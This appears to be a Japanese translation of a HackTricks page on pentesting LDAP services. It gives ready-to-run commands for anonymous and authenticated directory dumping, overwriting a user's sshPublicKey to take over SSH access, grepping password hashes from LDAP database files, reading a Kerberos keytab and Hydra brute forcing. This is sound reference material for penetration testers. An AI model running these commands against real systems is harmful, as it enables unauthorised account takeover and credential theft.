389, 636, 3268, 3269 - Pentesting LDAP

Support HackTricks

LDAP(軽量ディレクトリアクセスプロトコル)の使用は、主にネットワーク内の組織、個人、ファイルやデバイスなどのリソースを特定するためのものです。これは、前のプロトコルであるDAPに比べて、より小さなコードフットプリントを持つことで、効率的なアプローチを提供します。

LDAPディレクトリは、複数のサーバーに分散できるように構造化されており、各サーバーはディレクトリの複製されたおよび同期されたバージョンを保持しています。これをディレクトリシステムエージェント(DSA)と呼びます。リクエストの処理は完全にLDAPサーバーの責任であり、必要に応じて他のDSAと通信して、リクエスト者に統一された応答を提供します。

LDAPディレクトリの組織は、ルートディレクトリが最上部にあるツリー階層に似ています。これは国に分岐し、さらに組織に分かれ、次にさまざまな部門を表す組織単位に至り、最終的には人々やファイル、プリンターなどの共有リソースを含む個々のエンティティのレベルに達します。

デフォルトポート: 389および636(ldaps)。グローバルカタログ(ActiveDirectoryのLDAP)は、デフォルトでポート3268および3269(LDAPS)で利用可能です。

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAPデータインターチェンジフォーマット

LDIF (LDAPデータインターチェンジフォーマット) は、ディレクトリの内容を一連のレコードとして定義します。また、更新リクエスト(追加、変更、削除、名前変更)を表すこともできます。

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • 行 1-3 はトップレベルドメイン local を定義します

  • 行 5-8 はファーストレベルドメイン moneycorp (moneycorp.local) を定義します

  • 行 10-16 は 2 つの組織単位: dev と sales を定義します

  • 行 18-26 はドメインのオブジェクトを作成し、属性に値を割り当てます

データの書き込み

値を変更できる場合、非常に興味深いアクションを実行できる可能性があります。たとえば、ユーザーまたは任意のユーザーの "sshPublicKey" 情報を変更できると仮定します。この属性が存在する場合、ssh は LDAP から公開鍵を読み取っている可能性が非常に高いです。ユーザーの公開鍵を変更できれば、パスワード認証が ssh で有効になっていなくても、そのユーザーとしてログインできるようになります

# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Sniff clear text credentials

LDAPがSSLなしで使用されている場合、ネットワーク内で平文の資格情報をスニッフィングすることができます。

また、LDAPサーバーとクライアントの間MITM攻撃を実行することができます。ここで、クライアントが平文の資格情報を使用してログインするようにダウングレード攻撃を行うことができます。

SSLが使用されている場合、上記のようにMITMを試みることができますが、偽の証明書を提供することで、ユーザーがそれを受け入れた場合、認証方法をダウングレードして再び資格情報を見ることができます。

Anonymous Access

Bypass TLS SNI check

この書き込みによると、任意のドメイン名(例えばcompany.com)でLDAPサーバーにアクセスするだけで、匿名ユーザーとしてLDAPサービスに接続し、情報を抽出することができました。

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP 匿名バインド

LDAP 匿名バインドは、認証されていない攻撃者がドメインから情報を取得することを可能にします。例えば、ユーザー、グループ、コンピュータ、ユーザーアカウント属性、ドメインパスワードポリシーの完全なリストなどです。これはレガシー構成であり、Windows Server 2003以降、認証されたユーザーのみがLDAPリクエストを開始することが許可されています。 しかし、管理者は特定のアプリケーションを設定して匿名バインドを許可する必要があったかもしれず、その結果、意図した以上のアクセス権を与え、認証されていないユーザーにAD内のすべてのオブジェクトへのアクセスを許可してしまった可能性があります。

有効な資格情報

LDAPサーバーにログインするための有効な資格情報がある場合、次のコマンドを使用してドメイン管理者に関するすべての情報をダンプできます。

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

列挙

自動化

これを使用すると、公開情報(ドメイン名など)を確認できます**:**

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

Pythonを使用したLDAP列挙の確認

資格情報の有無にかかわらずLDAPを列挙することを試みることができます: pip3 install ldap3

まず、資格情報なしで接続してみてください:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

もし応答が前の例のようにTrueであれば、次の場所からLDAPの興味深いデータ命名コンテキストドメイン名など)を取得できます:

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

一度命名コンテキストを取得すると、さらに興味深いクエリを実行できます。この単純なクエリは、ディレクトリ内のすべてのオブジェクトを表示するはずです:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

またはダンプ全体のldap:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch は、LDAPクエリを利用して Windows ドメインからユーザー、グループ、およびコンピュータを 列挙する のに役立つPythonスクリプトです。

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

無効な資格情報または資格情報が有効かどうかを確認します:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

もし「bind must be completed」という記述を見つけた場合、それは認証情報が不正であることを意味します。

ドメインからすべてを抽出するには、次のコマンドを使用します:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

ユーザーを抽出する:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

抽出 コンピュータ:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

私の情報:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

ドメイン管理者を抽出:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

ドメインユーザー:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

エンタープライズ管理者:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

管理者:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

リモートデスクトップグループを抽出:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

パスワードにアクセスできるかどうかを確認するには、クエリの1つを実行した後にgrepを使用できます:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

Please, notice that the passwords that you can find here could not be the real ones...

pbis

You can download pbis from here: https://github.com/BeyondTrust/pbis-open/ and it's usually installed in /opt/pbis. Pbis は基本情報を簡単に取得することを可能にします:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

グラフィカルインターフェース

Apache Directory

ここからApache Directoryをダウンロード。このツールの使用例はこちらで見つけることができます。

jxplorer

LDAPサーバー用のグラフィカルインターフェースをここからダウンロードできます: http://www.jxplorer.org/downloads/users.html

デフォルトでは、次の場所にインストールされます: /opt/jxplorer

Godap

https://github.com/Macmod/godapでアクセスできます。

kerberosによる認証

ldapsearchを使用すると、NTLMの代わりにkerberosに対して認証できます。パラメータ-Y GSSAPIを使用します。

POST

データベースが含まれているファイルにアクセスできる場合(_ /var/lib/ldap _にある可能性があります)、次のコマンドを使用してハッシュを抽出できます:

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

あなたはjohnにパスワードハッシュ('{SSHA}'から'structural'まで、'structural'を追加せずに)を与えることができます。

設定ファイル

  • 一般

  • containers.ldif

  • ldap.cfg

  • ldap.conf

  • ldap.xml

  • ldap-config.xml

  • ldap-realm.xml

  • slapd.conf

  • IBM SecureWay V3サーバー

  • V3.sas.oc

  • Microsoft Active Directoryサーバー

  • msadClassesAttrs.ldif

  • Netscape Directory Server 4

  • nsslapd.sas_at.conf

  • nsslapd.sas_oc.conf

  • OpenLDAPディレクトリサーバー

  • slapd.sas_at.conf

  • slapd.sas_oc.conf

  • Sun ONE Directory Server 5.1

  • 75sas.ldif

HackTricks自動コマンド

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
HackTricksをサポートする

Last updated